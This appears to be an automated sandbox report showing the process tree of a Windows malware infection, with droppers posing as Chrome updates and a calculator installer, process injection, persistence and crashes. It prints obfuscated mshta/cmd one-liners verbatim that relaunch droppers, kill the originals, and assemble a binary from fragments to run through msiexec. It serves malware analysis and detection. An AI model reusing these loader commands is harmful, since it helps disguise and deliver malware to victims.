                                                                                                                                                                                            PID:3624
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                                                                                                                                            ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                                                                                                                                            7⤵
                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                            PID:3804
                                                                                                                                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                              "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                                                                                                                                              8⤵
                                                                                                                                                                                                PID:6384
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                    PID:6928
                                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                  "C:\Windows\System32\mshta.exe" VbScRIpt: CLosE ( cReAteobjEcT ( "wscRiPt.SheLl" ). RUn ( "C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE ) )
                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                    PID:7820
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~> TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu + WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                      9⤵
                                                                                                                                                                                                        PID:6012
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /S /D /c" EcHo "
                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                            PID:7484
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                              PID:5904
                                                                                                                                                                                                            • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                              msiexec -Y ..\lXQ2g.WC
                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                              PID:3644
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:6092
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\setup.exe
                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                  PID:5948
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-TT15C.tmp\setup.tmp
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-TT15C.tmp\setup.tmp" /SL5="$2032A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                      PID:3620
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\askinstall25.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\askinstall25.exe"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                    PID:6228
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\inst1.exe
                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:1896
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\setup_2.exe
                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                        PID:6616
                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6616 -s 236
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                          PID:7124
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                        PID:6888
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome1.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome1.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:7100
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:5440
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5440 -s 1012
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                            PID:4596
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome update.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome update.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:3900
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\chrome2.exe
                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        PID:4080
                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -u -p 4080 -s 1704
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                          PID:3212
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\o6zEWa0CtF1KjvBgbb_Tn4_k.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\o6zEWa0CtF1KjvBgbb_Tn4_k.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:5028
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5028 -s 1932
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                        • Enumerates system info in registry
                                                                                                                                                                                                        PID:4404
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                      PID:5052
                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe
                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\e8sIHJtYYbh6Npgujz9tWguG.exe"
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                                                                        • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                        PID:5568
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\h7kHvYoMhO87j6fFaG42C6p1.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\h7kHvYoMhO87j6fFaG42C6p1.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:4616
                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4616 -s 296
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                        PID:5964
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\VTxBU9kvc_11oiNVNgZO3Swz.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\VTxBU9kvc_11oiNVNgZO3Swz.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                      PID:648
                                                                                                                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\Q1Iw7NGBXjDO5OMkHG1HYDNH.exe
                                                                                                                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\Q1Iw7NGBXjDO5OMkHG1HYDNH.exe"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                      PID:1608
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                                        • Checks whether UAC is enabled
                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                        PID:1592
                                                                                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                            PID:5216
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\Underdress.exe
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:2924
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:5228
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\IKNZNRMAqUQWUjeHDyftTpOA.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\IKNZNRMAqUQWUjeHDyftTpOA.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:2644
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2644 -s 764
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                            PID:5468
                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                            PID:3620
                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3620 -s 448
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                              PID:4424
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\ht0nMTNFQ1tFe4ykfsVcsyoI.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\ht0nMTNFQ1tFe4ykfsVcsyoI.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:4024
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\79EHDGPMMWEeapPnka1VRJAH.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\79EHDGPMMWEeapPnka1VRJAH.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:4820
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 276
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                            PID:6400
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\cKNfesBMIdF8xbjJgapm5LeE.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\cKNfesBMIdF8xbjJgapm5LeE.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                          PID:3856
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\BjEs7BqmOorrI7PZG6BFwx9e.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\BjEs7BqmOorrI7PZG6BFwx9e.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                          • Checks whether UAC is enabled
                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                          PID:2872
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\N4phlRmSOn13aOF7LX6J0osn.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\N4phlRmSOn13aOF7LX6J0osn.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:3480
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3480 -s 336
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                            PID:5672
                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe
                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          PID:1812
                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                              PID:5156
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\KZWrNrUfQpue1da5aQf94oLP.exe" ) do taskkill -im "%~NxK" -F
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                  PID:5524
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
                                                                                                                                                                                                                    8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                    PID:6064
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                        PID:5480
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                            PID:6624
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )
                                                                                                                                                                                                                          7⤵
                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                          PID:5672
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                              PID:7520
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                  PID:2108
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" EcHO "
                                                                                                                                                                                                                                  9⤵
                                                                                                                                                                                                                                    PID:8108
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                    msiexec.exe -y .\N3V4H8H.SXY
                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                    PID:2104
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                              taskkill -im "KZWrNrUfQpue1da5aQf94oLP.exe" -F
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                              PID:1320
                                                                                                                                                                                                                      • C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe
                                                                                                                                                                                                                        "C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe"
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:1624
                                                                                                                                                                                                                          • C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Pictures\Adobe Films\e10Jb2xCvxeAn7bjgKZPicoU.exe"
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                            PID:5248
                                                                                                                                                                                                                        • C:\Users\Admin\Pictures\Adobe Films\wbSFW6bY1yGkPijcb5mBLctC.exe
                                                                                                                                                                                                                          "C:\Users\Admin\Pictures\Adobe Films\wbSFW6bY1yGkPijcb5mBLctC.exe"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                          PID:5432
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                            • Adds Run key to start application
                                                                                                                                                                                                                            PID:5616
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                              PID:5404
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x214,0x218,0x21c,0x1f0,0x220,0x7fffe9d5dec0,0x7fffe9d5ded0,0x7fffe9d5dee0
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:7620
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7d2e89e70,0x7ff7d2e89e80,0x7ff7d2e89e90
                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                      PID:8516
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1620,2201471579890345333,10540745210558617081,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5404_201314625" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1636 /prefetch:2
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:7452
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1620,2201471579890345333,10540745210558617081,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5404_201314625" --mojo-platform-channel-handle=1392 /prefetch:8
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:7804
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmmon32.exe
                                                                                                                                                                                                                                "C:\Windows\SysWOW64\cmmon32.exe"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                PID:5344
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  /c del "C:\Users\Admin\Pictures\Adobe Films\Dc2cGIo8H66p8bqWXY8d5sy2.exe"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:6112
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\8F9A.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\8F9A.exe
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                  PID:5480
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8F9A.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\8F9A.exe
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                    PID:1560
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\354.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\354.exe
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:6636
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6636 -s 272
                                                                                                                                                                                                                                      3⤵
